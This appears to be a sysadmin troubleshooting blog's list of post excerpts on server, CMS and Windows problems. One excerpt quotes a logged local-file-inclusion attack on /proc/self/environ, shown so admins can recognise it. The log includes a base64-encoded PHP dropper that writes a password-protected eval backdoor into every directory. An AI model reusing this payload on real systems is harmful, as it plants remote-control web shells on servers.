Symptoms:Options FollowSymLinks or SymLinksIfOwnerMatch is off which implies that RewriteRule directive is forbidden Either the .htaccess file is missing the followsymlinks option or another .htaccess is overriding the options. NOTE: There are TWO Solutions to this problem, I recommend trying Solution #2 first. Solution #1: Add: Options FollowSymLinks Above: RewriteEngine On RewriteBase / (Note: you … Continue reading
Connection reset by peer: mod_fcgid: error reading data from FastCGI server
Symptoms: The following errors are found in the web server error logs: Connection reset by peer: mod_fcgid: error reading data from FastCGI server Premature end of script headers: index.php Solutions: This is one of those frustrating errors that can take a long time to fix and may be dependent on multiple problems. The solution that … Continue reading
Plesk: Test Directory located in /httpdocs/test/
Description: In default Plesk Installations a folder called Test is created under httpdocs/ this folder contains a series of scripts designed to perform “hello world” type tests to confirm that those scripting languages can be used. If the test scripts are no longer needed you can remove the directory If you would like to keep … Continue reading
/proc/self/environ Server Log – Hacking Attempt
Symptom: Web server logs show entries similar to “GET /index.php?inc=../../../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0” 200 22702 “” ” ##php eval(base64_decode(\”YWRkTG9hZGVyKCk7DQokZGF0YSA9IEBvcGVuZGlyKCcuJyk7DQoNCndoaWxlICgkZmlsZSA9IEByZWFkZGlyKCRkYXRhKSkNCnsNCgkkZmlsZSA9IHRyaW0oJGZpbGUpOw0KCWlmICghJGZpbGUgfHwgcHJlZ19tYXRjaCgnL15cLiskLycsICRmaWxlKSB8fCAhaXNfZGlyKCRmaWxlKSkgY29udGludWU7DQoJYWRkTG9hZGVyKCRmaWxlKTsNCn0NCg0KQGNsb3NlZGlyKCRkYXRhKTsNCg0KZnVuY3Rpb24gYWRkTG9hZGVyKCRkaXIgPSAnJykNCnsNCiAgICBpZiAoJGRpcikgJGRpciAuPSAnLyc7DQogICAgQGNobW9kKCRkaXIsIDc3Nyk7DQogICAgDQogICAgJGZwID0gZm9wZW4oInskZGlyfWVkNjllZDYwYmU0ODViYTFkY2QwMDc3MzRiODM2Y2E4LnBocCIsICJ3Iik7IA0KICAgIGZ3cml0ZSgkZnAsIGJhc2U2NF9kZWNvZGUoJ1BEOXdhSEFOQ2cwS1FHbHVhVjl6WlhRb0oyRnNiRzkzWDNWeWJGOW1iM0JsYmljc0lERXBPdzBLUUdsdWFWOXpaWFFvSjJSbFptRjFiSFJmYzI5amEyVjBYM1JwYldWdmRYUW5MQ0EyTUNrN0RRcEFhVzVwWDNObGRDZ25iV0Y0WDJWNFpXTjFkR2x2Ymw5MGFXMWxKeXdnTmpBcE93MEtRSE5sZEY5MGFXMWxYMnhwYldsMEtEWXdLVHNOQ2cwS0pHUmhkR0VnUFNCQWRXNXpaWEpwWVd4cGVtVW9ZbUZ6WlRZMFgyUmxZMjlrWlNoMGNtbHRLRUFrWDFCUFUxUmJKMlJoZEdFblhTa3BLVHNOQ2cwS2FXWWdLRUFoYVhOZllYSnlZWGtvSkdSaGRHRXBJSHg4SUcxa05TZ2taR0YwWVZzbmNHRnpjM2R2Y21RblhTa2dJVDBnSjJRelpHWTBNemxqTTJVMFlqSmpOREU1TWpCa09HVXlOek16TVRFek1qTTJKeWtnWlhocGREc05DbWxtSUNoQUpHUmhkR0ZiSjJOdlpHVW5YU2tnWlhaaGJDaGlZWE5sTmpSZlpHVmpiMlJsS0NSa1lYUmhXeWRqYjJSbEoxMHBLVHNOQ21sbUlDaEFKR1JoZEdGYkoyTm9aV05yWDJOdlpHVW5YU2tnY0hKcGJuUWdKR1JoZEdGYkoyTm9aV05yWDJOdlpHVW5YVHNOQ2cwS1B6ND0nKSk7DQoJZmNsb3NlKCRmcCk7DQoNCglpZiAoZmlsZV9leGlzdHMoInskZGlyfWVkNjllZDYwYmU0ODViYTFkY2QwMDc3MzRiODM2Y2E4LnBocCIpKQ0KCXsNCiAgICAgICAgJGNrID0gIjE4MjM2NDkzNjU4MjAzNTQiOw0KCSAgICBwcmludCAiJGNrOnsqfTokZGlyOnsqfToiOw0KCQlleGl0Ow0KCX0NCn0=\”)); ##” Please note that the <? and > were removed for security reasons and replaced with ## Description: This is a poisoned null byte hacking attack, often conducted by bot’s. If the postfix null bytes are not handled correctly … Continue reading
userdel (options) username
userdel is used in Unix / Linux systems to remove a user from the system. Flags: -h –help; Display the help/man information and exit -r –remove; this flag will remove the user’s home directory and associated mail. If the user is logged in or has processes running, this command will not work. -f –force; force … Continue reading
Blue Screen of Death keycrypt64.sys
Symptoms: Computer is an HP Model that suddenly blue screens and returns an error with keycrypt64.sys before rebooting. Items Needed: USB Mouse, USB Keyboard, Windows Boot Disk or Utility Disk Solution: A recent update push to Constant Guard (Comcast) has a conflict with the default keyboard / mouse dll for HP Machines. This is a … Continue reading
Joomla: 2.5.8 hangs at Step 1 during Install
Symptoms: Joomla 2.5.8 hangs during installing at Step 1, the language install. The screen displays a circle that spins endlessly. Solution: base directory rewrites are not enabled, rename htaccess.txt to .htaccess, refresh the page.
Flash: Images in gallery are cut off
Symptoms: When utilizing a flash gallery, the images appear to be cutoff in the gallery even though the sizes are correct. Solution: Double check your zoom settings for the browser. Firefox > View > Zoom > Reset IE > View > Zoom > Reset
Plesk: Scheduled Task for script not running
Symptoms: A task is scheduled in Plesk under Scheduled Tasks, the task attempts to run a php script but fails. Solution: By Default Plesk 11 does not allow execution of scripts in a non-chrooted environment, To Allow execution of Scripts, change the server policy from the command prompt: # /usr/local/psa/bin/server_pref -u -crontab-secure-shell “/bin/sh” To disallow: … Continue reading
Windows: Microsoft Office Word, Excel, Powerpoint, Internet Explorer Close unexpectedly
Problem: Microsoft Office Word, Excel, Powerpoint, and Internet Explorer close unexpectedly on a regular basis in Vista. Crash report lists gdiplus.dll_unloaded as the module. Solution: 1. gdiplus.dll_unloaded is in conflict with Apple iCloud, uninstall the iCloud program and reboot the machine, this will correct the regular crashes. 2. If you want to maintain iCloud, open … Continue reading